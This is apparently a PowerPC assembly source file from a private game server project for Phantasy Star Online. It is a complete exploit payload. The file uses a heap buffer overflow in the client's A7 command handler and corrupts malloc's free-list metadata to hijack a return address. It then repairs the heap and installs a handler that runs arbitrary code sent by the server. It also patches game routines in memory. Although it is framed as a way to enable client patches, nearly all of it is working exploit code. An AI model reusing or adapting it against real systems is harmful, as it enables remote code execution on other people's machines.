# patches. See the comments within the code below for more details.
|
||||
|
||||
|
||||
|
||||
# This entry_ptr label isn't used since this code isn't sent with the B2
|
||||
# command; it just needs to be present for newserv to compile the code properly
|
||||
entry_ptr:
|
||||
|
||||
start:
|
||||
b resume1
|
||||
# This is the value overwritten by malloc() when it attempts to remove the
|
||||
# free block from its linked list
|
||||
.data 0xAAAAAAAA
|
||||
|
||||
resume1:
|
||||
# We can use any of the caller-save registers (r0, r3-r12) here.
|
||||
|
||||
# At entry time, some registers contain useful values:
|
||||
# r5: Address of the allocator instance ("lists"). This structure includes the
|
||||
# allocated and free list head pointers, one of which we have to update.
|
||||
# r12: Address of the malloc() function that was called. Conveniently, the
|
||||
# address that we should return to is very near this location in memory.
|
||||
|
||||
# Compute the LR we should use to return from this function, but don't put it
|
||||
# in the LR just yet - we're still going to need the LR for other shenanigans
|
||||
subi r11, r12, 0xB0 # 8038C1B8 - B0 = 8038C108
|
||||
|
||||
# Restore the free block whose header we had destroyed with the A7 command
|
||||
# buffer overflow
|
||||
lis r7, 0x815F
|
||||
ori r7, r7, 0xF440
|
||||
li r0, 0
|
||||
stw [r7], r0 # free_block->prev = nullptr
|
||||
stw [r7 + 4], r0 # free_block->next = nullptr
|
||||
lis r6, 0x001E
|
||||
ori r6, r6, 0x0960
|
||||
stw [r7 + 8], r6 # free_block->size = 0x001E0960
|
||||
stw [r5 + 4], r7 # lists->free_head = free_block
|
||||
|
||||
# Restore lists->allocated_head and clear its prev pointer
|
||||
lis r6, 0x815F
|
||||
ori r6, r6, 0xF3C0
|
||||
stw [r5 + 8], r6 # lists->allocated_head = orig_allocated_head
|
||||
stw [r6], r0 # lists->allocated_head->prev = nullptr
|
||||
|
||||
b resume2
|
||||
|
||||
# TODO: We can probably use this space for something useful. There must be
|
||||
# exactly 20 opcodes (0x50 bytes) between resume1 and opaque2.
|
||||
.zero
|
||||
.zero
|
||||
.zero
|
||||
.zero
|
||||
.zero
|
||||
|
||||
opaque2:
|
||||
# This block must be exactly here (the number of opcodes above is exactly how
|
||||
# many will fit in the original buffer), and the 3 words here must have
|
||||
# exactly these values. This is what causes malloc to overwrite the return
|
||||
# address on the stack to call this code in the first place.
|
||||
.data 0x815FF3E8 # free_head->prev
|
||||
.data 0x80592AC4 # free_head->next
|
||||
.data 0x00000160 # free_head->size
|
||||
|
||||
resume2:
|
||||
bl get_handle_B2_ptr
|
||||
|
||||
# This is the code we're going to use for the B2 command handler, which we
|
||||
# will copy into an unused area of memory. It's convenient to put it here and
|
||||
# use a bl opcode to get its address, so this code can be minimally position-
|
||||
# dependent. Note that this part of the code does not run at the time the A7
|
||||
# command is received; it will run later if the client receives a B2 command.
|
||||
handle_B2:
|
||||
mflr r0
|
||||
stwu [r1 - 0x40], r1
|
||||
stw [r1 + 0x44], r0
|
||||
|
||||
# Arguments:
|
||||
# r3 = PSONetworkContext* ctx (we use this to call the send function)
|
||||
# r4 = void* data
|
||||
# Returns: void
|
||||
|
||||
# Stack:
|
||||
# [r1+08] = B3 XX 0C 00
|
||||
# [r1+0C] = code section's return value
|
||||
# [r1+10] = checksum
|
||||
# [r1+14] = saved ctx argument
|
||||
# [r1+18] = saved data argument
|
||||
# We reserved 0x40 bytes on the stack because I was lazy.
|
||||
stw [r1 + 0x14], r3
|
||||
stw [r1 + 0x18], r4
|
||||
|
||||
# Set up the reply header (B3 XX 0C 00, where XX comes from the B2 command)
|
||||
lbz r5, [r4 + 1]
|
||||
rlwinm r5, r5, 16, 8, 15
|
||||
oris r5, r5, 0xB300
|
||||
ori r5, r5, 0x0C00
|
||||
stw [r1 + 0x08], r5
|
||||
|
||||
# If there's no code section, skip it. We also write the code section size to
|
||||
# the return value field (which will be overwritten later if the size is not
|
||||
# zero). This is because I'm lazy and this gives the behavior we want: the
|
||||
# code return value is always zero if the code section size is zero.
|
||||
li r6, 4
|
||||
lwbrx r5, [r4 + r6] # r5 = code_size
|
||||
stw [r1 + 0x0C], r5 # response.code_return_value = code_size
|
||||
cmplwi r5, 0
|
||||
beq handle_B2_skip_code
|
||||
|
||||
# Get the code section base and footer addresses
|
||||
addi r6, r4, 0x10 # r6 = code base address
|
||||
add r7, r6, r5
|
||||
subi r7, r7, 0x20 # r7 = footer address (code base + code size - 0x20)
|
||||
|
||||
# Check if there are relocations to do
|
||||
lwz r8, [r7 + 4] # r8 = num relocations
|
||||
cmplwi r8, 0
|
||||
beq handle_B2_skip_relocations
|
||||
|
||||
# Execute the relocations
|
||||
mtctr r8
|
||||
lwz r8, [r7] # r8 = relocations list offset
|
||||
add r8, r8, r6 # r8 = relocations list address
|
||||
subi r8, r8, 2 # Back up one space so we can use lhzu in the loop
|
||||
mr r10, r6 # relocation pointer = code base address
|
||||
handle_B2_relocate_again:
|
||||
lhzu r9, [r8 + 2]
|
||||
rlwinm r9, r9, 2, 0, 29 # r9 = next_relocation_offset * 4
|
||||
add r10, r10, r9 # relocation pointer += next_relocation_offset * 4
|
||||
lwz r9, [r10]
|
||||
add r9, r9, r6
|
||||
stw [r10], r9 # (*relocation pointer) += code base address
|
||||
bdnz handle_B2_relocate_again
|
||||
handle_B2_skip_relocations:
|
||||
|
||||
# Invalidate the caches appropriately for the newly-copied code
|
||||
lis r0, 0x8000
|
||||
ori r0, r0, 0xC324
|
||||
mr r3, r6
|
||||
mr r4, r5
|
||||
mtctr r0
|
||||
bctrl # flush_code(code_base_addr, code_section_size)
|
||||
|
||||
# Call the code section and put the return value (byteswapped) on the stack
|
||||
# Note: flush_code only uses r3, r4, and r5, so we don't need to reload r7
|
||||
# after the above call
|
||||
lwz r8, [r7 + 0x10]
|
||||
lwzx r8, [r8 + r6]
|
||||
mtctr r8
|
||||
bctrl
|
||||
li r8, 0x0C
|
||||
stwbrx [r1 + r8], r3
|
||||
handle_B2_skip_code:
|
||||
|
||||
# Get the checksum function args
|
||||
lwz r4, [r1 + 0x18]
|
||||
li r5, 0x08
|
||||
lwbrx r3, [r4 + r5] # checksum addr
|
||||
li r5, 0x0C
|
||||
lwbrx r4, [r4 + r5] # checksum size
|
||||
lis r0, 0x8010
|
||||
ori r0, r0, 0xF834
|
||||
mtctr r0
|
||||
bctrl # crc32(checksum_addr, checksum_size)
|
||||
li r8, 0x10
|
||||
stwbrx [r1 + r8], r3
|
||||
|
||||
# Send the response (B3 command)
|
||||
lwz r3, [r1 + 0x14]
|
||||
lwz r4, [r3 + 0x18]
|
||||
lwz r4, [r4 + 0x28]
|
||||
mtctr r4
|
||||
addi r4, r1, 0x08
|
||||
li r5, 0x0C
|
||||
bctrl # PSONetworkContext::send_command(ctx, &reply_data, 0x0C)
|
||||
|
||||
# Clean up stack and return
|
||||
lwz r0, [r1 + 0x44]
|
||||
addi r1, r1, 0x40
|
||||
mtlr r0
|
||||
blr
|
||||
|
||||
get_handle_B2_ptr:
|
||||
mflr r9 # r9 = &handle_B2
|
||||
bl get_handle_B2_end_ptr
|
||||
get_handle_B2_end_ptr:
|
||||
mflr r10
|
||||
subi r10, r10, 8 # r10 = pointer to end of handle_B2
|
||||
|
||||
# Copy handle_B2 to 8000BD80, which is normally unused by the game
|
||||
lis r12, 0x8000
|
||||
ori r12, r12, 0xBD80 # r12 = 0x8000BD80
|
||||
subi r8, r12, 4 # r8 = r12 - 4 (so we can use stwu)
|
||||
subi r9, r9, 4 # r9 = r9 - 4 (so we can use lwzu)
|
||||
sub r7, r10, r9
|
||||
rlwinm r7, r7, 30, 2, 31 # r7 = number of words to copy
|
||||
mtctr r7
|
||||
copy_handle_B2_word_again:
|
||||
lwzu r0, [r9 + 4]
|
||||
stwu [r8 + 4], r0
|
||||
bdnz copy_handle_B2_word_again
|
||||
|
||||
# Invalidate the caches appropriately for the newly-copied code
|
||||
lis r9, 0x8000
|
||||
ori r9, r9, 0xC324
|
||||
mtctr r9
|
||||
mr r3, r12
|
||||
rlwinm r4, r7, 2, 0, 29
|
||||
bctrl # flush_code(copied_B2_handler, copied_B2_handler_bytes)
|
||||
|
||||
# Replace the command handler table entry for command 0E (which appears to be
|
||||
# a legacy command - it's unused by any modern private server and was
|
||||
# presumably unused by Sega too) with our copied B2 implementation
|
||||
lis r5, 0x8044
|
||||
ori r5, r5, 0xF684
|
||||
li r0, 0x00B2
|
||||
stw [r5], r0
|
||||
stw [r5 + 0x0C], r12
|
||||
|
||||
# Patch both places in the code where command 9E is sent to make them include
|
||||
# a sentinel value that newserv can use to determine if the client has already
|
||||
# run the code in this file
|
||||
bl get_patch_9E_1_ptr
|
||||
patch_9E_1:
|
||||
lis r4, 0x5F5C
|
||||
ori r4, r4, 0xA297
|
||||
stw [r1 + 0x14], r4 # Set cmd.unused1 to 0x5F5CA297 (in send_9E_long)
|
||||
get_patch_9E_1_ptr:
|
||||
lis r3, 0x800F
|
||||
ori r3, r3, 0x3338
|
||||
mflr r4
|
||||
lwz r0, [r4]
|
||||
stw [r3], r0
|
||||
lwz r0, [r4 + 4]
|
||||
stw [r3 + 4], r0
|
||||
lwz r0, [r4 + 8]
|
||||
stw [r3 + 8], r0
|
||||
li r4, 0x20
|
||||
mtctr r9
|
||||
bctrl # flush_code(patch_9E_1_dest, 0x20)
|
||||
|
||||
bl get_patch_9E_2_ptr
|
||||
patch_9E_2:
|
||||
lis r4, 0x5F5C
|
||||
ori r4, r4, 0xA297
|
||||
stw [r1 + 0x60], r4 # Set cmd.unused1 to 0x5F5CA297 (in handle_02)
|
||||
get_patch_9E_2_ptr:
|
||||
lis r3, 0x800F
|
||||
ori r3, r3, 0x3644
|
||||
mflr r4
|
||||
lwz r0, [r4]
|
||||
stw [r3], r0
|
||||
lwz r0, [r4 + 4]
|
||||
stw [r3 + 4], r0
|
||||
lwz r0, [r4 + 8]
|
||||
stw [r3 + 8], r0
|
||||
li r4, 0x20
|
||||
mtctr r9
|
||||
bctrl # flush_code(patch_9E_2_dest, 0x20)
|
||||
|
||||
# Finally, patch the A7 handler function (which is on the current callstack)
|
||||
# so that it does nothing else if this function returns null, which prevents
|
||||
# further memory corruption. This changes a beq opcode (which never triggers
|
||||
# under normal circumstances) to skip a couple more function calls, one of
|
||||
# which would cause memory corruption if executed because the original buffer
|
||||
# is smaller than 0x100 bytes.
|
||||
lis r3, 0x8010
|
||||
ori r3, r3, 0xFD8A
|
||||
li r4, 0x0064
|
||||
sth [r3], r4
|
||||
rlwinm r3, r3, 0, 0, 27
|
||||
li r4, 0x20
|
||||
mtctr r9
|
||||
bctrl # flush_code(patched_opcode_address & 0xFFFFFFF0, 0x20)
|
||||
|
||||
# Return null instead of a malloc'ed block, which triggers the conditional
|
||||
# branch we just patched above
|
||||
li r3, 0
|
||||
mtlr r11
|
||||
blr
|
||||
Reference in New Issue
Block a user